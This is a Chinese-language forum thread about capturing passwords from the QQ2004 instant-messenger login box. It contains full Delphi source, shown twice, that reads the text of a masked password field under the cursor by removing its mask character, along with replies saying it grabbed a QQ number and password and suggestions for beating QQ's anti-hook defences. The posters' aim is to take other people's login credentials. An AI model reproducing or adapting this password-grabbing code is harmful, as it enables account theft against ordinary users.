QQ2004杀死了钩子吗? QQ2004杀死了钩子吗?偶用原先的钩子想捕获QQ2004最新的BETA版本的登陆框的密码框中内容,结果发现什么也捕获不到,该怎么对付它啊?? 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 用专用的工具了!!现在,很多比较专业的程序都加了几道防护的方法,就算你hook进它的进程,也不一定有用 何必要钩子呢,用下面的方法就OK了在windows任何平台看*的代码unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, ExtCtrls;typeTForm1 = class(TForm)Edit1: TEdit;Timer1: TTimer;procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);procedure Label1MouseUp(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);procedure Timer1Timer(Sender: TObject);procedure FormCreate(Sender: TObject);private{ Private declarations }public{ Public declarations }end;varForm1: TForm1;implementationvarstr: array[0..19] of char;{$R *.dfm}function IsNT: Boolean;varOSVersionInfo: TOSVersionInfo;beginOSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);GetVersionEx(OSVersionInfo);if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT thenResult := TrueelseResult := False;end;procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);beginsetcapture(handle);end;procedure TForm1.Label1MouseUp(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);beginreleasecapture;end;procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);varp1, p2: Tpoint;beginp1.X := x;p1.Y := y;p2 := clienttoscreen(p1);edit1.Text := inttostr(p2.X);end;procedure TForm1.Timer1Timer(Sender: TObject);varp: Tpoint;hd: HWND;l,pass,count: integer;beginGetCursorPos(p);hd := WindowFromPoint(p);if not isNt thenbeginl:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);sendmessage(hd,WM_GETTEXT,l+1,integer(@str));endelsebeginl:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);sendmessage(hd,WM_GETTEXT,l+1,integer(@str));pass := sendmessage(hd, em_getpasswordchar, 0, 0);if pass <> 0 thenbeginpostmessage(hd, em_setpasswordchar, 0, 0);count := sendmessage(hd, wm_gettext, 100, lparam(@hd));//postmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);sendmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);sendmessage(hd,em_setpasswordchar, count+1,integer(@str));end;end;edit1.Text := str;end;procedure TForm1.FormCreate(Sender: TObject);begin//str:= new(pchar);end;end. 上面那个落后的代码,N多软件都防止了考虑用外挂,在外挂中Hook应该可以的了 to ly_liuyang(Liu Yang) 落后吗??我就用他成功获得QQ2004的登入框的号码和密码 这个怎么用就要看你自己了。。 beta版已经不行了 拜托测试一下! 请你下载最新的 BETA试试 说话不能太绝对了!http://www.skycn.com/soft/14094.html 没有错,原来我的消息发送控件也不管用了,好象屏蔽了wm_paste事件,用settext也不行,大家来测试测试,给点解决方法!QQ2004Beta好象很厉害了,各个方面做的都很好了 QQ2004Beta的密码输入真是保护得很好哦采用消息发送的方法看来是没用的了要解决真是有难度哦,期待中 to: yinzhiw(路在何方) http://www.skycn.com/soft/14094.html拜托 你有没有 张眼睛 你试过没就 乱说自己去试试!魔鬼兔子也不行! 我写了个钩子程序,当一按Ctrl+Enter或Alt+S时,QQ就跳出个框,提示QQ出现了问题,请重新启动,看来QQ已经屏蔽了钩子。 一点猜测:1、输入密码的对话框继承自其他类(非EDIT类),用WinSight32看一下是什么就应该能知道怎么对付了。2、程序可以先检测一下当前的键盘HOOK指针,如果发现存在一个非系统的HOOK指针,就会认为在前面或后面被下了一个非法的HOOK就会提示错误,从BIOS层能解决吗?没试过。 楼上所说的第一点,我查看过了。是用SPY查看的。QQ密码框是用edit类的!! 应该是继承自TEDIT类,屏蔽掉了相关功能,也可能是自己写相关类,这样常规手段就不行了,这种技术早就存在,在一些安全性很高的系统上经常采用。 可有对付的办法 VC写的类一般 都看到是他的原类名 EDIT 或BUTTON之类很少看到 其他继承类 如 TMYEDIT 很少见 不象 BORLAND的控件明显! 是的,QQ2004bate作的的确够强,,, 大家在做IOCP 的服务端如何做的更加高效 内存池, 请大家谈谈自己的经验! excel使用OLE对象(注意:非使用excel) (二) 两个for,头也搞大了 一个很简单的问题 怎样将两个查询结果集(数据集)显示在同一网格中? Windows Media Player 9 漂亮的软件界面 关于pascal编译器的问题?? 这个是不是要用消息机制来做? 在一个程序里,已经存盘的unit名可以改名吗?怎么改? 用什么函数读取richedit1中的字符串? 如何通过ADO远程连接到一个服务器上?在线等待!!!! socket初级问题
就算你hook进它的进程,也不一定有用
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Timer1: TTimer;
procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Label1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
var
str: array[0..19] of char;
{$R *.dfm}
function IsNT: Boolean;
var
OSVersionInfo: TOSVersionInfo;
begin
OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
GetVersionEx(OSVersionInfo);
if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
Result := True
else
Result := False;
end;
procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
setcapture(handle);
end;
procedure TForm1.Label1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
releasecapture;
end;
procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
p1, p2: Tpoint;
begin
p1.X := x;
p1.Y := y;
p2 := clienttoscreen(p1);
edit1.Text := inttostr(p2.X);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
p: Tpoint;
hd: HWND;
l,pass,count: integer;
begin
GetCursorPos(p);
hd := WindowFromPoint(p);
if not isNt then
begin
l:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);
sendmessage(hd,WM_GETTEXT,l+1,integer(@str));
end
else
begin
l:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);
sendmessage(hd,WM_GETTEXT,l+1,integer(@str));
pass := sendmessage(hd, em_getpasswordchar, 0, 0);
if pass <> 0 then
begin
postmessage(hd, em_setpasswordchar, 0, 0);
count := sendmessage(hd, wm_gettext, 100, lparam(@hd));
//postmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);
sendmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);
sendmessage(hd,em_setpasswordchar, count+1,integer(@str));
end;
end;
edit1.Text := str;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
//str:= new(pchar);
end;
end.
考虑用外挂,在外挂中Hook应该可以的了
落后吗??我就用他成功获得QQ2004的登入框的号码和密码
这个怎么用就要看你自己了。。
http://www.skycn.com/soft/14094.html
拜托 你有没有 张眼睛 你试过没就 乱说
自己去试试!
魔鬼兔子也不行!
1、输入密码的对话框继承自其他类(非EDIT类),用WinSight32看一下是什么就应该能知道怎么对付了。2、程序可以先检测一下当前的键盘HOOK指针,如果发现存在一个非系统的HOOK指针,就会认为在前面或后面被下了一个非法的HOOK就会提示错误,从BIOS层能解决吗?没试过。